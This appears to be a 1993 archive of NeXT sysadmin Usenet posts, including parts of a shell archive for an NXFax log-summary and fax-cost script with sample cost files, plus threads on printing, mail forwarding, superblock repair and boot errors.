cost of fax traffic. The precision of this X# computation depends highly on the amount of detail given X# in this file. X# X# FORMAT: there are three types of lines: X# X# $<currency-string> X# :<prefix>:<unit-time>:<unit-cost>:<connect-cost>:<comments> X# +<prefix>:<comments> X# X# The line beginning with $ indicates the currency-string to use in X# the summary. X# Lines beginning with : give cost computation parameters X# Lines beginning with + are called summary lines and are used X# to indicate how costs have to be summarized by nxfaxsummary.sh X# X# nxfaxsummary.sh scans the called phone number and uses the parameters X# associated with the first matching <prefix> to compute the costs for X# this call. If t is the connect time in seconds, then the cost is computed X# according to the formula X# X# cost = connect-cost + (t/unit-time)*unit-cost X# X# connect-cost is the minimum fee per connection (0 in most situations) X# this can be used to account for the fact that connect X# time measured by NXFax usually is shorter than effective X# duration of call due to initial handshake X# unit-time is the duration in seconds of a time unit, X# unit-cost is the price of one unit, X# currency-string (self evident). X# X# Then nxfaxsummary.sh matches these computations against the prefixes X# in the summary lines to condense the summary down to the informative X# minimum. X# X# Lines beginning with # are ignored. X# X# EXAMPLE X$DM X:0041:0:12:0.23:calls to Switzerland X:00:0:12:0.23:other international calls X+00:International calls: X:0:0:60:0.23:calls within Germany (Fernzone) X::0:360:0.23:local calls (Nahzone) X+:calls within Germany: X# X# the nxfax.cost file should always include a line beginning X# with empty prefix string, this will be used as the default X# for phone numbers that don't match any other prefix. The X# same is true for summary lines: the minimum summary line X# ist X# +: X# X# Most phone companies charge differently during business hours X# and outside of business hours, use the parameters that are X# valid at those times when You send faxes. X# X# To be done: - differentiate between rates X# NeXT! if test 2263 -ne "`wc -c < 'nxfax.cost'`" then echo shar: error transmitting "'nxfax.cost'" '(should have been 2263 characters)' fi fi # end of overwriting check echo shar: extracting "'nxfax.cost.detailed'" '(1446 characters)' if test -f 'nxfax.cost.detailed' then echo shar: will not over-write existing file "'nxfax.cost.detailed'" else sed 's/^X//' << \NeXT! > 'nxfax.cost.detailed' X# X# nxfax.cost.detailed X# X# nauseatingly detailed nxfax.cost file X# X# We are in Germany: X$DM X# X# Here are international connections X:0020:0:10.666:0.23:Aegypt X:00355:0:10.666:0.23:Albania X:00213:0:10.666:0.23:Algeria X:0033:0:12:0.23:Andorra X:0032:0:12:0.23:Belgium X:00359:0:10.666:0.23:Bulgaria X:0045:0:12:0.23:Danemark X:00298:0:12:0.23:Faeroer X:00358:0:10.666:0.23:Findland X:0033:0:12:0.23:France X:00350:0:10.666:0.23:Gibraltar X:0030:0:12:0.23:Greece X:0044:0:12:0.23:Great Britain and Northern Ireland X:007:0:10.666:0.23:GUS (Ex USSR) X:00353:0:12:0.23:Ireland X:00354:0:10.666:0.23:Iceland X:00972:0:10.666:0.23:Israel X:0039:0:12:0.23:Italy X:00962:0:10.666:0.23:Jordan X:0038:0:10.666:0.23:Jugoslavia X:00218:0:10.666:0.23:Libya X:004175:0:12:0.23:Lichtenstein X:00352:0:12:0.23:Luxemburg X:00356:0:10.666:0.23:Malta X:00212:0:10.666:0.23:Marokko X:003393:0:12:0.23:Monaco X:0031:0:12:0.23:Netherlands X:0043:0:12:0.23:Austria X:0048:0:12:0.23:Poland X:0042:0:12:0.23:Checkoslovakia X:0034:0:12:0.23:Spain X:0047:0:10.666:0.23:Norway X:0040:0:10.666:0.23:Romania X:0046:0:10.666:0.23:Sweden X:00963:0:10.666:0.23:Syria X:0090:0:10.666:0.23:Turkey X:00216:0:10.666:0.23:Tunesia X:0036:0:10.666:0.23:Hungary X:00357:0:10.666:0.23:Cyprus X:001:0:7:0.23:Tarifzone 2a X:00:0:4.42:0.23:Tarifzone 3 X+00:International calls: X# X# Calls within Germany X:06:0:60:0.23:Regional Zone X:0:0:21:0.23:Long distance (Weitzone) X::0:360:0.23:Local Calls (Ortszone) X+:Calls within Germany: NeXT! if test 1446 -ne "`wc -c < 'nxfax.cost.detailed'`" then echo shar: error transmitting "'nxfax.cost.detailed'" '(should have been 1446 characters)' fi fi # end of overwriting check echo shar: extracting "'SAMPLE_OUTPUT'" '(1733 characters)' if test -f 'SAMPLE_OUTPUT' then echo shar: will not over-write existing file "'SAMPLE_OUTPUT'" else sed 's/^X//' << \NeXT! > 'SAMPLE_OUTPUT' XNXFax Accounting @ foobar from 16 Jan 1993 09:28:36 to 27 Mar 1993 13:45:17 X X SEND FAX X XDate Time Number pgs res kbps xmt conn errors X X23 Jan 09:23:54 004657835286 1 lo 9.6 00:28 00:35 No errors. X23 Jan 21:38:34 004712212419 1 lo 9.6 01:03 01:10 No errors. X 1 Feb 18:26:47 004734231513 1 lo 7.2 00:42 00:54 No errors. X 6 Feb 21:55:10 004734231513 1 lo 9.6 00:22 00:29 No errors. X11 Feb 18:13:27 004716543144 1 hi 9.6 02:03 02:09 No errors. X19 Feb 17:53:29 004716543144 1 hi 9.6 00:40 00:46 No errors. X25 Feb 08:16:21 004714827754 1 lo 4.8 00:43 01:03 No errors. X27 Mar 13:44:36 004716543144 1 lo 9.6 00:34 00:41 No errors. X XCost summary connect cost XInternational calls: 0:08:33 ~ 7.37 DM Xcalls within Germany: 0:00:00 ~ 0.00 DM XTotal cost: 7.37 DM X XTotal transmit time: 0:07:14 for 8 pages ~ 48.22 sec/page X X X RECEIVE FAX X XDate Time Number pgs res kbps xmt errors X X16 Jan 09:28:36 1 hi 9.6 02:47 No errors. X17 Feb 08:39:57 2 hi 4.8 02:51 No errors. X19 Feb 17:09:12 1 hi 9.6 00:33 No errors. X19 Feb 17:20:47 1 hi 9.6 00:38 No errors. X26 Mar 21:56:03 +51 1 591 30 00 1 hi 14.4 00:21 No errors. X XTotal transmit time: 0:07:10 for 6 pages ~ 71.67 sec/page X NeXT! if test 1733 -ne "`wc -c < 'SAMPLE_OUTPUT'`" then echo shar: error transmitting "'SAMPLE_OUTPUT'" '(should have been 1733 characters)' fi fi # end of overwriting check echo shar: done with directory "'nxfaxsummary'" cd .. # End of shell archive exit 0
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin From: "Steve Hayman" <sahayman@cs.indiana.edu> Subject: Re: NeXTOS and PPD files!?!?! Message-ID: <1993Apr8.162815.5549@news.cs.indiana.edu> Organization: Objectario References: <C52wEI.KL3@dove.nist.gov> <1993Apr8.112027.189@news.cs.indiana.edu> Date: Thu, 8 Apr 1993 16:27:53 -0500 Um, in retrospect the solution I was suggesting won't work exactly as stated, 'cause I think lpd only runs the "if=" input filter on the machine which it thinks is actually doing the spooling - i.e. the machine named by the "rm=" thing and if you had "rm=actualPrinterItself", nobody would run the custom input filter. I am sure thre is a way around this, possibly by having all your NeXTs spool your output to a central NeXT, and having that one run the input filter *but* as the last stage in the filter, after the postscript has been filtered through psprepare, pipe it into "lpr -PTheActualPrinter". A two-stage process, using two printer definitions in NetInfo. Not the most elegant solution but it might work well enough.
Newsgroups: comp.sys.next.sysadmin From: zenon@resonex.com (Zenon Fortuna) Subject: Re: Bad super-block...now what? Message-ID: <1993Apr8.140809.4197@resonex.com> Organization: Resonex Inc., Fremont CA References: <1993Apr6.071515.7748@ncsa.uiuc.edu> <1993Apr6.165750.9816@bluerose.com> Distribution: na Date: Thu, 8 Apr 1993 14:08:09 GMT In article <1993Apr6.165750.9816@bluerose.com> M_Carling@BlueRose.com (M Carling) writes: >In article <1993Apr6.071515.7748@ncsa.uiuc.edu> kchang@ncsa.uiuc.edu >(Kenneth Chang) writes: >> In the process of trying to upgrade from 2.1 to 3.0, I appear to have >> severely hosed the hard disk. > >How many times do I have to post that 2.1 to 3.0 should be done using >BuildDisk.app rather than Upgrade.app? > >M Carling >President, Bay Area NeXT Group Anyway, you may try to repair the superblock. The "fsck" has the option to use an alternate superblock. As superuser type # fsck -b 16 /dev/rsd0a It would make sense to boot first from a Bootable floppy. -Z.
From: bryan@kolsky.tamu.edu (Bryan Milligan) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc Subject: One way to forward mail to different mailboxes. Date: 9 Apr 1993 00:39:42 GMT Organization: Texas A&M University, College Station, TX Distribution: world Message-ID: <1q2gkeINNj6n@tamsun.tamu.edu> Keywords: mail, mailforward, mailbox Since I posted my original question on how to forward mail to different mailboxes, I've received numerous requests for the answers. The first thing to do is to get the following: mailforward (readily available) perl (also readily available) Uncompress and untar and you're halfway there. The trick to installing perl on a NeXT is to be aware the the include files are in two different directories: /usr/include/ansi and /usr/include/bsd. Either tell the configure script to look in both places or create one linked directory, otherwise it's pretty straightforward. Mailforward is a perl script that sorts the incoming mail according to user specified strings in the mail header. Installation is relatively simple; however, to work correctly the destination mailboxes must not be open or all the mail winds up in Active.mbox (or the default), even if mail is hidden. Hope this helps. -- Bryan Milligan Voice: (409) 845-7541 Department of Aerospace Engineering Fax: (409) 845-6051 Texas A&M University bryan@kolsky.tamu.edu (NeXT Mail accepted)
Newsgroups: comp.sys.next.sysadmin From: got@xanthus (Gordon O Tillman) Subject: Printing Mac (System 7) P.S. on NeXT Laserprinter Message-ID: <C564DB.2q1@shellgate.shell.com> Sender: usenet@shellgate.shell.com (USENET News System) Organization: Shell Oil Distribution: usa Date: Thu, 8 Apr 1993 14:03:11 GMT Hello all, I have failed miserably in my recent attempts to print PostScript files created on the Mac (which is running System 7) on my NeXT laserprinter. I looked in the faq file and didn't see an answer, and also tried applying some information that was thoughfully provided to me by Ken Lui, which was: > I've had success transferring postscript files from the Mac to > the NeXT and printing them. When generating the postscript files > from the Mac, at the print dialog box, issue Command-K, not > Command-F. Command-K tells the driver to write the laserprep > header that's needed to process Mac-specific print files. Edit > the resultant postscript# file so the first line contains > %!PS-Adobe-2.0. The default laserprep header doesn't have this > so the NeXT will think you're printing a normal file without it, > giving you streams and streams of postscript source code. > Alternatively, you can hack the laserprep LROM and include it. > (It's in LaserPrep, resource POST, ID -8192, string #1. After > modifying, it should look like: > %!PS-Adobe-2.0 > %%Title: "Laser Prep -- The Apple PostScript Dictionary (md)" > %%Creator: Apple Software Engineering > %%CreationDate: Thursday, March 19, 1987 > ) > I've used the above to print stuff from MS WORD 4.00, even the > tables feature...the application from hell...if it works, > anything should :-) BTW, the NeXT doesn't do bitmap smoothing > although you can get some info on that type of support on > sumex-aim.stanford.edu... I remember trying this when I ran System 6 on the Mac and it seemed to work fine. But now, when I opened my postscript file, I saw that it already had the "%!PS-Adobe-2.0" entry as the first line... Now, I can take this same file and put it on a Sun workstation and lpr it to the Sun's laserprinter (which is really no surprise, as I believe Apple makes Sun's laserprinters). If anyone can suggest an alternative method that might make this work, I would be much obliged. Gordon -- Gordon O. Tillman Shell Oil Company Technical Customer Support - Infrastructure 1500 O.S.T., Rm. 7Q04 Email: got@shell.com, Profs: GOT Houston, TX 77054 Voice: 713-245-2777, Fax: 713-245-2659, SSN: 423-2777
From: lpratt@slate.mines.colorado.edu (Lorien Pratt) Newsgroups: comp.sys.next.sysadmin Subject: Trouble with booting next: kern_loader: Link Failed: Help! Message-ID: <1993Apr8.225216.51940@slate.mines.colorado.edu> Date: 8 Apr 93 22:52:16 GMT Sender: lpratt@slate.mines.colorado.edu (Lorien Pratt) Organization: Colorado School of Mines Hi, Suddenly the other day my Cube crashed, and when I rebooted, I got the following error messages: Apr 7 16:15:21 franklinite mach: master cpu at slot 0. Apr 7 16:15:23 franklinite netmsgserver[72]: network_init Apr 7 16:15:26 franklinite kern_loader: kern_loader: Link failed Apr 7 16:15:26 franklinite kern_loader: kern_loader: Link failed Apr 7 16:15:26 franklinite kern_loader: kern_loader: server mididriver won't link Apr 7 16:15:27 franklinite kern_loader: kern_loader: server mididriver won't link Apr 7 16:15:27 franklinite kern_loader: kern_loader: Link failed Apr 7 16:15:27 franklinite kern_loader: kern_loader: Link failed Apr 7 16:15:27 franklinite kern_loader: kern_loader: server NeXTdimension won't link Apr 7 16:15:27 franklinite kern_loader: kern_loader: server NeXTdimension won't link Apr 7 16:15:30 franklinite kern_loader: kern_loader: Link failed Apr 7 16:15:30 franklinite kern_loader: kern_loader: Link failed Apr 7 16:15:30 franklinite kern_loader: kern_loader: server isdn won't link Apr 7 16:15:30 franklinite kern_loader: kern_loader: server isdn won't link Apr 7 16:15:35 franklinite kern_loader: kern_loader: Link failed Apr 7 16:15:35 franklinite kern_loader: kern_loader: Link failed Apr 7 16:15:35 franklinite kern_loader: kern_loader: server midi won't link Apr 7 16:15:35 franklinite kern_loader: kern_loader: server midi won't link .... Apr 7 16:33:43 franklinite kern_loader: kern_loader: server NeXTdimension won't link Apr 7 16:33:43 franklinite WindowServer[173]: Problem starting the NeXTdimension.psdrvr driver. Continuing. My SysAdmin tells me she's seen these messages before, but they never interfered with a machine. However, I have a NextDimension, and now the console won't display any windows. However, the rest of the computer works fine! Please help me if you've seen this before! --Lori -- L. Y. Pratt Dept. of Math and Computer Science lpratt@franklinite.mines.colorado.edu Colorado School of Mines (303) 273-3878 (work) 402 Stratton (303) 278-4552 (home) Golden, CO 80401, USA
From: root@sent5.uni-duisburg.de (Operator) Newsgroups: comp.sys.next.sysadmin Subject: 40 feet long NeXT printer cable ???? Date: 8 Apr 1993 12:39:28 GMT Organization: Universitaet Duisburg GH Message-ID: <1q16e0INN7gl@unidui.uni-duisburg.de> Hallo folks, We tried to connect a NeXT printer to a NeXT with a 40 feet cable, it doesn't work. We varied the length, but with a 35 feet cable it doesn't work too. What shall we do? Is it possible to develop an interface with buffers? Who knows something about the connector and the signals? Who has an idea? Thanks, Wolfgang Kruell
Newsgroups: comp.sys.next.sysadmin From: cpl1@kimbark.uchicago.edu (Corey Liss) Subject: "Printer description file not available" Message-ID: <1993Apr9.043137.29895@midway.uchicago.edu> Sender: news@uchinews.uchicago.edu (News System) Organization: The Lunatic Fringe Date: Fri, 9 Apr 1993 04:31:37 GMT Something strange has suddenly started happening with the NeXT printing around here; all NeXT apps are abruptly unable to print, instead giving the message "Printer description file not available". Root doesn't have these difficulties, so I'd assume that a permission got changed somewhere; however, all the files in /NextLibrary/PrinterTypes and /usr/lib/NextPrinter are world-readable, and all directories are set world-readable and -executable. So where's the problem? The only "Printer description file" I can think of is the .ppd files in /NextLibrary/PrinterTypes, which haven't changed; the printers are still standard NeXT Level II 400 dpi, and it's still NextStep 3.0... Is there another description file in some obscure location that I'm missing? Desparately looking for advice... -Corey Liss cpl1@midway.uchicago.edu clue@amber.uchicago.edu
From: Adrian.Steinmann@f716.n109.z1.his.com (Adrian Steinmann) Sender: UUCP@his.com Newsgroups: comp.sys.next.sysadmin Subject: Pt 1/4: NXFax logfile summary Message-ID: <734345081.AA00520@his.com> Date: Thu, 08 Apr 1993 23:21:18 Organization: Informatik Club Uni Zurich Are you running NXFax 1.02 or 1.03 ? Then surely you'd like a report like this from time to time: -------!!------------!!-------------!!-------------!!------------!!------- NXFax Accounting @ foobar from 16 Jan 1993 09:28:36 to 27 Mar 1993 13:45:17 SEND FAX Date Time Number pgs res kbps xmt conn errors 23 Jan 09:23:54 004657835286 1 lo 9.6 00:28 00:35 No errors. 23 Jan 21:38:34 004712212419 1 lo 9.6 01:03 01:10 No errors. 1 Feb 18:26:47 004734231513 1 lo 7.2 00:42 00:54 No errors. 6 Feb 21:55:10 004734231513 1 lo 9.6 00:22 00:29 No errors. 11 Feb 18:13:27 004716543144 1 hi 9.6 02:03 02:09 No errors. 19 Feb 17:53:29 004716543144 1 hi 9.6 00:40 00:46 No errors. 25 Feb 08:16:21 004714827754 1 lo 4.8 00:43 01:03 No errors. 27 Mar 13:44:36 004716543144 1 lo 9.6 00:34 00:41 No errors. Cost summary connect cost International calls: 0:08:33 ~ 7.37 DM calls within Germany: 0:00:00 ~ 0.00 DM Total cost: 7.37 DM Total transmit time: 0:07:14 for 8 pages ~ 48.22 sec/page RECEIVE FAX Date Time Number pgs res kbps xmt errors 16 Jan 09:28:36 1 hi 9.6 02:47 No errors. 17 Feb 08:39:57 2 hi 4.8 02:51 No errors. 19 Feb 17:09:12 1 hi 9.6 00:33 No errors. 19 Feb 17:20:47 1 hi 9.6 00:38 No errors. 26 Mar 21:56:03 +51 1 591 30 00 1 hi 14.4 00:21 No errors. Total transmit time: 0:07:10 for 6 pages ~ 71.67 sec/page -------!!------------!!-------------!!-------------!!------------!!------- Well, if you would, just cut here and unpack using /bin/sh. ------>c ------------>c ------------>c ------------>c------------>c------- #! /bin/sh # This is a shell archive, meaning: # 1. Remove everything above the #! /bin/sh line. # 2. Save the resulting text in a file. # 3. Execute the file with /bin/sh (not csh) to create the files: # nxfaxsummary # This archive created: Thu Apr 8 22:48:07 1993 # By: Adrian Steinmann <ast@lia.di.epfl.ch> export PATH; PATH=/bin:$PATH if test ! -d 'nxfaxsummary' then echo shar: creating directory "'nxfaxsummary'" mkdir 'nxfaxsummary' fi echo shar: entering directory "'nxfaxsummary'" cd 'nxfaxsummary' echo shar: extracting "'nxfaxsummary.sh'" '(15539 characters)' if test -f 'nxfaxsummary.sh' then echo shar: will not over-write existing file "'nxfaxsummary.sh'" else sed 's/^X//' << \NeXT! > 'nxfaxsummary.sh' X#!/bin/sh - X# X# NXFax accounting 1.0 - a gawk script to summarize NXFax usage X# by Andreas Mueller [afm@mathi.uni-heidelberg.de] and X# Adrian Steinmann [ast@lia.di.epfl.ch] X# X# XPATH=/bin:/usr/bin:/usr/ucb:/etc:/usr/etc XIFS=' X' Xexport PATH IFS X# XTRIMDAYS=30 # how many days to wait between trimming XKEEPLINES=200 # how many lines to inherit when trimming X# X# define LOGFILE here, possibly override later X# X# NXFax 1.03 uses /usr/adm/nxfax/nxfaxlog XNXFAXDIR=/usr/adm/nxfax Xif [ ! -d ${NXFAXDIR} ] Xthen X # NXFax 1.02 uses /etc/nxfax/nxfaxlog X NXFAXDIR=/etc/nxfax X if [ ! -d ${NXFAXDIR} ] X then X echo "Fatal error: Cannot find NXFax log file directory" >&2 X usage X fi Xfi X# XLOGFILE=${NXFAXDIR}/nxfaxlog X# X# OLOGFILE is where we put the log file when we trim X# XOLOGFILE="${LOGFILE}.old" X# X# COSTFILE, usually in same directory as logfile, possibly override below X# X: ${COSTFILE:=${NXFAXDIR}/nxfax.cost} X# X# we use GNU awk for builtin and custom functions X# XGAWK=/usr/local/bin/gawk X# X# this is what we say as a heading and subject line in case of mail (-m option) X# XWELCOME="NXFax Accounting @ `hostname`" X# X# CMD may be changed to "Mail -s '${WELCOME}' $recipients" below (-m option) X# XCMD=cat X# Xexport CMD WELCOME GAWK COSTFILE LOGFILE OLOGFILE NXFAXDIR KEEPLINES TRIMDAYS X# X# temporary files are cleanup up on exit or trap X# XTMPFHED=/tmp/faxhed$$ XTMPFSND=/tmp/faxsnd$$ XTMPFCST=/tmp/faxcst$$ XTMPFPAR=/tmp/faxcst$$ XTMPFRCV=/tmp/faxrcv$$ XTMPFSUM=/tmp/faxsum$$ X# Xexport TMPFHED TMPFSND TMPFCST TMPFPAR TMPFRCV TMPFSUM X# Xumask 077 X# Xhelp () X{ Xecho Xcat<<!! XThis shell script uses GNU-awk '$GAWK' to Xparse log files generated by NXFax versions 1.02 and 1.03. By Xdefault, the script will search for a NXFax log file in the Xdirectories "/etc/nxfax/" and "/usr/adm/nxfax/". It will Xalso look for a file called "nxfax.cost" in that directory Xdescribing the calling costs for various times and phone Xprefixes. For an example cost description file, invoke this Xscript with the option "-sample". If the cost description file Xis missing, a simple grand total summary is calculated. XAlternate cost description or NXFax log files can be specified Xvia the -c and -l options respectively. With the option -m X<address_list>, the summary is sent to the recipients Xspecified in address_list. X!! Xecho Xusage X} X# Xusage () X{ X echo "Usage: $0 [ -help | -sample ]" >&2 X echo " $0 [ [-l] <log> ] [ -c <costs> ] [ -m {address_list} ]" >&2 X exit 1 X} X# Xcleanup () X{ X rm -f ${TMPFHED} ${TMPFSND} ${TMPFPAR} ${TMPFCST} ${TMPFRCV} ${TMPFSUM} X} X# X# note that NXFax 1.02 and 1.03 trims itself to 1000 lines at startup time X# Xtrimlog () X{ Xif [ -f ${OLOGFILE} ] Xthen X (find ${OLOGFILE} -mtime +${TRIMDAYS} -print | X grep ${OLOGFILE} ) > /dev/null 2>&1 X if [ $? -eq 0 ] X then X ( cp -p ${LOGFILE} ${OLOGFILE} && X tail -${KEEPLINES} ${LOGFILE}.old > ${LOGFILE} && X echo "${LOGFILE} rotated to ${OLOGFILE}, ${KEEPLINES} lines kept" X ) 2> /dev/null X fi Xelse X # if the old file doesn't exist, create it today so that X # trimlog() will begin to rotate after ${TRIMDAYS} X touch ${OLOGFILE} Xfi X} X# Xsample () X{ Xcat<<!! X# Sample cost desciption file: '${NXFAXDIR}/nxfax.cost' X# X# This file is used by the nxfaxsummary shell script to compute the X# approximate costs of outgoing fax traffic. Its precision depends X# highly on the amount of detail given in this file. X# X# FORMAT DESCRIPTION - there are three types of lines: X# X# $<currency-string> X# :<prefix>:<unit-time>:<unit-cost>:<connect-cost>:<comments> X# +<prefix>:<comments> X# X# The '$' line defines a currency string to be used in the summary. X# Lines beginning with ':' define cost computation parameters. X# Lines beginning with '+' are called summary lines and are used X# to indicate how costs should be summarized by nxfaxsummary.sh X# X# The script scans the called phone number and uses the parameters X# associated with the first matching <prefix> to compute the costs X# for such a call. If t is the connect time in seconds, then the X# cost is computed according to the formula X# X# cost = connect-cost + (t/unit-time)*unit-cost X# X# connect-cost is the minimum fee per connection (0 in most situations) X# this can be used to account for connect time measured X# by NXFax which is usually shorter than the effective X# duration of a call including initial handshake time; X# unit-time is the duration (in seconds) of a time unit; X# unit-cost is the price of one such unit-time. X# X# In the final summary, these computations are cumulatively grouped X# according to the prefixes in the summary lines (the '+' lines). X# X# Empty lines and lines beginning with a '#' are ignored. X# X# EXAMPLE COST DESCRIPTION (for Germany) X\$DM X:0041:0:12:0.23:Calls to Switzerland X:00:0:12:0.23:Other international calls X+00:International calls: X:0:0:60:0.23:Long distance calls within Germany (Regionalzone) X::0:360:0.23:Local calls X+:Calls within Germany: X# X# The cost description file should always include a line beginning X# with an empty prefix string, this is used as the default for phone X# numbers that don't match any other prefix. The same is true for X# summary lines. Note that the comments of the summary lines are X# used as line item titles, hence they are often ended with a ':'. X# X# In other words, a minimum cost file may consist of just three lines: X# X# \$\$ X# ::0:3600:1.20:Detailed cost description X# +:Detailed summary description: X#
From: Adrian.Steinmann@f716.n109.z1.his.com (Adrian Steinmann) Sender: UUCP@his.com Newsgroups: comp.sys.next.sysadmin Subject: Pt 2/4: NXFax logfile summary Message-ID: <734345081.AA00521@his.com> Date: Thu, 08 Apr 1993 23:21:18 X# If no cost description file is found nor specified, then a simple total X# transmit time and average per page is output. X# X# Most phone companies charge differently during and after business hours X# - use the parameters that are likely to be valid when *you* send faxes. X# X# To be done: - differentiate between rates during different time periods X# X!! Xexit 0 X} X# Xtrap 'cleanup; exit 9' 2 3 15 X# X# parse options - default is output to stdout (use -m option to mail) X# Xdorecipients=0 Xdocost=0 Xdolog=0 Xwhile [ $# -gt 0 ] Xdo X while [ $dorecipients -ge 1 -a $# -gt 0 ] X do X dorecipients=2 X case x$1 in X x-*) X break X ;; X *) X recipients="$recipients $1" X CMD="Mail -s '${WELCOME}' $recipients" X shift X ;; X esac X done X if [ $dorecipients -eq 2 -a `echo $recipients | wc -w` -eq 0 ] X then X echo "Fatal error: -m option lacks at least one addressee" >&2 X usage X else X dorecipients=0 X fi X if [ $docost -eq 1 -o $dolog -eq 1 ] X then X if [ $# -gt 0 ] X then X if [ ! -r $1 ] X then echo "Fatal error: file '$1' unreadable" >&2 X usage X else X if [ $dolog -eq 1 ] X then X LOGFILE=$1 X dolog=2 X else X COSTFILE=$1 X docost=2 X fi X fi X shift X else X echo "Fatal error: option lacks an argument" >&2 X usage X fi X fi X case x$1 in X x-m) X shift X if [ $dorecipients -ne 0 -o $# -lt 1 ]; then usage; fi X dorecipients=1 X ;; X x-c) X if [ $docost -ne 0 ]; then usage; fi X shift; docost=1 X ;; X x-l) X if [ $dolog -ne 0 ]; then usage; fi X shift; dolog=1 X ;; X x-h*) X help X ;; X x-s*) X sample X ;; X x-*) X usage X ;; X *) X dolog=1 X ;; X esac Xdone X# Xif [ ! -r $LOGFILE ] Xthen X echo "Fatal error: Log file '${LOGFILE}' unreadable" >&2 X usage Xfi XOLOGFILE="${LOGFILE}.old" X# X# Finally do some real work: find first and last date in logfile X# X( echo -n "\n${WELCOME} " X ${GAWK} ' X BEGIN { found=1; } X $3 ~ /Sun|Mon|Tue|Wed|Thu|Fri|Sat/ \ X { date=sprintf("%2d %s %d %s",$5,$4,$7,$6); X if (found) { printf("from %s ",date) X found=0 } X } X END { printf("to %s\n",date); }' ${LOGFILE} X) > ${TMPFHED} 2>&1 X# X# now search logfile for faxes sent, collect information in ${TMPFSND} X# X${GAWK} \ X 'function resetvars() { connected=false; call=false X speed="?"; res="?"; errors="?"; number="?" X ctime="?"; ttime="?"; pages=0 X date=" ? ? ? "; calldate=date X } X function printsummary() { printf("%16s %-20s %3s %2s %4s %5s %5s %s\n", X calldate,number,pages,substr(res,1,2), X speed, X ttime,ctime,errors) X } X XBEGIN { true=1; false=0; resetvars() } X$3 ~ /(Sun)|(Mon)|(Tue)|(Wed)|(Thu)|(Fri)|(Sat)/ \ X { date=sprintf("%2d %s %s",$5,$4,$6) } X# Note that NXFax 1.03 frequently contains the line X# "%> NXFax: caller id or silent answer forces rings to 3" X$3 ~ /call/ { if ($4 !~ /complete/ && $8 !~ /forces/ ) { X call=true; number=substr($0,15,20) X } X } X$3 ~ /line/ { if ($4 ~ /busy/) { calldate=date } } X$3 ~ /Connected/ { if (call==true) { connected=true; calldate=date } } X$4 ~ /resolution/ { res=$3 } X$4 ~ /bps/ { speed=sprintf("%4.1f",$3/1000) } X$3 ~ /page/ { pages=$4 } X$3 ~ /hangup/ { if ( substr($3, 8, 1) == "0" ) X { errors=$4" "$5 } X else X { errors="Hangup ERROR" } X } X/connect time/ { ctime=$5 } X/transmit time/ { ttime=$5 X if (connected) { X printsummary() X } X resetvars() X } X$4 ~ /halt|busy/ { if (call) { X printsummary() X resetvars() X } X } X/no carrier/ { if (call) { X calldate=date; errors="no carrier" X printsummary() X resetvars() X } X } X X' ${LOGFILE} > ${TMPFSND} 2>&1 X# X# X# use the information collected in the previous step to get a X# more accurate cost computation: X# Xif [ ! -r $COSTFILE ] Xthen X awk '{ print substr($0,53,5)" "substr($0,39,3)" "substr($0,19,20) }' \ X ${TMPFSND} | ${GAWK} ' X BEGIN { transmit=0; pages=0; } X $1 !~ /\?/ { pages+=$2; split($1,ttime,":") X transmit+=60*ttime[1]+ttime[2] } X X END { X time_h=int(transmit/3600); time_s=transmit-3600*time_h; X printf("\nTotal transmit time: %3d:%02d:%02d for %d pages",\ X time_h,time_s/60,time_s%60,pages) X if (pages>0) printf("\t~ %8.2f sec/page",transmit/pages) X printf("\n") X } X ' > ${TMPFCST} 2>&1 Xelse X awk '{ print substr($0,53,5)" "substr($0,39,3)" "substr($0,60,5)\ X " "substr($0,19,20) }' ${TMPFSND} \ X | ${GAWK} -v costparamfile=${COSTFILE} ' X BEGIN { # initialize parameter arrays X "sed -n -e s/\\^\\\\$//p "costparamfile | getline currency X close("sed -n -e s/\\^\\\\$//p "costparamfile) X FS=":"; counter=0; X while ("sed -n -e s/\\^://p "costparamfile | getline ) { X counter++ X costp[counter,"prefix"]=$1 X costp[counter,"connect"]=$2 X costp[counter,"tunit"]=$3 X costp[counter,"unitc"]=$4 X } X close("sed -n -e s/\\^://p "costparamfile) X max=counter X s=0 X while ("sed -n -e s/\\^\\+//p "costparamfile | getline) { X s++ X summa[s,"prefix"]=$1 X summa[s,"comment"]=$2 X for (i=3; i<=NF; i++) X summa[s,"comment"]=summa[s,"comment"]":"$i X } X summax=s; FS=" " X transmit=0; pages=0; X } X X $2 !~ /\?/ { pages+=$2; split($1,ttime,":") X transmit+=60*ttime[1]+ttime[2] } X $4 !~ /\?/ {# on every line where you have number and connect time, X # do the following X if ( $3 !~ /\?/ ) { X split($3,timing,":"); time=60*timing[1]+timing[2]; X counter=1; found=0; X while (counter<=max && !found) { X if ( index($4,costp[counter,"prefix"])==1 ) { X found=1 X cost[counter,"time"]+=time X cost[counter,"cost"]+=(costp[counter,"connect"]+ \ X time*costp[counter,"unitc"]/costp[counter,"tunit"]) X } else if ( length(costp[counter,"prefix"])==0 ) { X cost[counter,"time"]+=time X cost[counter,"cost"]+=(costp[counter,"connect"]+ \ X time*costp[counter,"unitc"]/costp[counter,"tunit"]) X } X counter++ X } X } X } X X END { X for (counter=1; counter<=max; counter++) { X s=1; found=0; X while (s<=summax && !found) { X if ( index(costp[counter,"prefix"],summa[s,"prefix"])==1 ) { X found=1 X summa[s,"time"]+=cost[counter,"time"] X summa[s,"cost"]+=cost[counter,"cost"] X } else if ( length(summa[s,"prefix"])==0 ) { X found=1 X summa[s,"time"]+=cost[counter,"time"] X summa[s,"cost"]+=cost[counter,"cost"] X } X s++ X } X } X X # output collected information X for (s=1; s<=summax; s++) { X time_h=int(summa[s,"time"]/3600); X time_s=summa[s,"time"]-3600*time_h; X printf("%-45s\t%2d:%02d:%02d ~%7.2f %s\n", \ X summa[s,"comment"],time_h,time_s/60,time_s%60, \ X summa[s,"cost"],currency) X totalcost+=summa[s,"cost"] X } X printf("%-45s\t\t %8.2f %s\n","Total cost:", totalcost, \ X currency) X time_h=int(transmit/3600); time_s=transmit-3600*time_h; X printf("\nTotal transmit time: %3d:%02d:%02d for %d pages",\ X time_h,time_s/60,time_s%60,pages) X if (pages>0) printf("\t~ %8.2f sec/page",transmit/pages) X printf("\n") X } X ' > ${TMPFCST} 2>&1 X Xfi X# X# now search logfile for faxes received, collect information in ${TMPFRCV} X# X${GAWK} ' Xfunction resetvars () { connected=false; call=false; X speed="?"; res="?"; errors="?"; number="?" X ctime="?"; ttime="?"; pages=0; X calldate=" ? ? ? " X } XBEGIN { true=1; false=0; resetvars(); t_ttime=0 } X$3 ~ 